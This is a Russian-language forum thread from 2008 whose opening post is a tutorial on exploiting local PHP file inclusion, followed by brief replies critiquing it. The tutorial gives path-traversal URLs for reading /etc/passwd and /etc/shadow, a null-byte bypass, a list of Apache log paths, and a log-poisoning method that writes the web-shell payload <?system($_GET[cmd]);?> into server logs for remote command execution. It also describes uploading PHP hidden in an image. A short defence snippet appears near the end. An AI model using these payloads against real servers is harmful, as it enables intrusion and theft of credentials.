ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Локальные Php Иньекции
  #1  
Старый 11.04.2008, 23:40
maxster
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме:
2298631

Репутация: 380
Отправить сообщение для maxster с помощью ICQ
По умолчанию Локальные Php Иньекции

0.Введение

В это статье я расскажу о том как пользоваться локальной пхп иньекцией.
Некоторые считают, что это бесполезный тип атаки, однако это не так,
с ее помощью можно узнать много ПОЛЕЗНОЙ информации, которая поможет
в процессе взлома, а в не которых случаях даже получить шелл.

1. Поехали!


Для начала давайте рассмотрим кусок уязвимого кода:

Код:
<?php 
$page = $_GET[page]; 
include($page); 
?>
Этот кусок кода никогда нельзя использовать, т.к. $page не фильруеться и на прямую
идет к вебфайлу, несмотря на это очень часто можно встретить этот код в сети.
Предположим, что есть веб сервер с папкой include, в который лежит
сраница main.php, мы можем попасть на нее так:
Код:
http://webserver.ru/inc/main.php
А если уязвимый код, описаный в первой части присутвует в index.php, который лежит
в корневой директории сервера, то можно сделать так:
Код:
http://webserver.ru/index.php?page=test/main.php
Index.php может лежать в другом месте, например в папке /test/krevedko/index.php,
то подгрузить main.php можно так:
Код:
http://webserver.ru/test/krevedko/index.php?page=../main.php
../ - предыдущая папка
./ - папка в которой находиться скрипт

2. Глазами хакера

Что ж теперь, когда мы знаем как это выглядит, давайте попробуем использовать это
в своих целях. Например, если машина стоит на *nix, можно прочитать файл с паролями,
для это надо сделать нечто подобное:

Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd
Если пароли не затенены (находяться в файле etc/shadow), то мы увидим
приблизительно такое:
Код:
user:ghjERIOmm23rt:305:100:UserName:/home/user:/bin/sh
что означает
Код:
username: passwd:UID:GID:full_name:directory:shell
Сейчат редко увидишь пароли в файле passwd, все чаще они находяться в
etc/shadow, который доступен только root, так что врятли вы его прочтете.
Здесь не много мест, куда следует сходить

Код:
/etc/passwd 
/etc/shadow 
/etc/security/passwd 
/etc/security/user

3. Не все так гладко на нашем пути


Не много подумав, можно себе представить такой код

Код:
PHP Code: 
<?php 
$page = $_GET["page"]; 
include("$page.php"); 
?>
В конце добавляеться расширениее .php, так что если вызвать

Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd
Получим не файл passwd, а файль passwd.php, которого само сабой нет,
так что здесь нам в помощь идет NULL byte или ядовитый ноль, после
такого байта сервер игнорирует, то что идет дальше, так что код выглядит так:
Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd%00
%00 - NULL byte

4. А как же веб шелл ?

А вот так, мы попробуем записать php код в логи http демона и заинклудить их,
вопрос лишь в том где они? Я вам дам пару путей возможного их нахождения:

Код:
../apache/logs/error.log 
../apache/logs/access.log 
../etc/httpd/logs/acces_log 
../etc/httpd/logs/acces.log 
../etc/httpd/logs/error_log 
../etc/httpd/logs/error.log 
../var/www/logs/access_log 
../var/www/logs/access.log 
../usr/local/apache/logs/access_log 
../usr/local/apache/logs/access.log 
../var/log/apache/access_log 
../var/log/apache2/access_log 
../var/log/apache/access.log 
../var/log/apache2/access.log 
../var/log/access_log 
../var/log/access.log 
../var/www/logs/error_log 
../var/www/logs/error.log 
../usr/local/apache/logs/error_log 
../usr/local/apache/logs/error.log 
../var/log/apache/error_log 
../var/log/apache2/error_log 
../var/log/apache/error.log 
../var/log/apache2/error.log 
../var/log/error_log 
../var/log/error.log
эти логи ведут запись запросов о не найденных файлах, то есть
что бы этим воспользоваться достаточно обратиться скажем к такому
файлу http://webserver/<?system($_GET[cmd]);?> и наш php код
(<?system($_GET[cmd]);?>) будет записан в эти логи, дальше с помощью
локальной php инькции мы подгрузим лог и выполним команду, но
ваш браузер может переделать код в такой вид:
Код:
%3C?%20system(\$_GET[cmd])%20?>
так что для этого можно воспользоваться программой которая шлет запросы,
или написать скрипт, который будет все делать сам.

Так же шел можно залить с помощью картинки
Вставляем в каритинку php код, заливаем на сервер и с помощью иньекции инклудим ее,
результат работы скрипта в картинке должен быть выведен на экран.

5. Пару слов о защите.

Иногда приходиться самому писать движок и в некоторых случаях приходиться использовать
этот бажный кусок, но как же защитить свой сайт от злостных хакеров? для этого стоит добавить
вот такую конструкцию после бажной части:

Код:
if(!isset($_GET["page"]))exit;
$page = str_replace(".", "", str_replace("\\", "", $_GET["page"]));
if(!file_exists($page)) exit;
include($page);
И все будет хорошо, можно спокойно идти спать и не бояться инклуда

6. Заключение

Это все что я хотел рассказать вам локальных php иньекциях, не делайте сами таких ошибок,
карайте тех кто их делает, всем удачи.
 
Ответить с цитированием

  #2  
Старый 12.04.2008, 00:14
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию

Цитата:
2. Глазами хакера
хакер что ле? как Фленов. .
мда..
Цитата:
https://forum.antichat.ru/thread12123.html
Все остальное очевидно

Последний раз редактировалось ZAMUT; 12.04.2008 в 00:26..
 
Ответить с цитированием

  #3  
Старый 12.04.2008, 00:21
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567

Репутация: 2145


По умолчанию

http://forum.antichat.ru/thread23501.html - здесь просто нечего добавить...
Автору + за старания, но это не очень сильно...
 
Ответить с цитированием

  #4  
Старый 12.04.2008, 00:22
gibson
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию

Цитата:
но как же защитить свой сайт от злостных хакеров?
кто сказал, что мы злостные=\

Цитата:
Хакер - не преступник.
Взлом - для искусства.
Смысл - в свободе!
Сейчас это выражение на половину утратило свой первоначальный смысл, жаль=\

зы статья не раскрыта и на 50% незачет
 
Ответить с цитированием

  #5  
Старый 12.04.2008, 07:50
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

это не практично
 
Ответить с цитированием

  #6  
Старый 12.04.2008, 10:25
MaSter GeN
Познающий
Регистрация: 26.01.2008
Сообщений: 71
Провел на форуме:
280720

Репутация: 141
Отправить сообщение для MaSter GeN с помощью ICQ
По умолчанию

тема в данном случае мало понятна для новичка и не раскрыта !!!афтаору + за старания
 
Ответить с цитированием

  #7  
Старый 12.04.2008, 10:50
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

спс, мен что оформил, а то в *.txt неудобно и впадлу мне было читать.
СПС!
 
Ответить с цитированием

  #8  
Старый 12.04.2008, 13:52
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

У задохлика статья лучше была
__________________
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Local include && PHP baz1k Чужие Статьи 0 10.01.2008 04:50
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ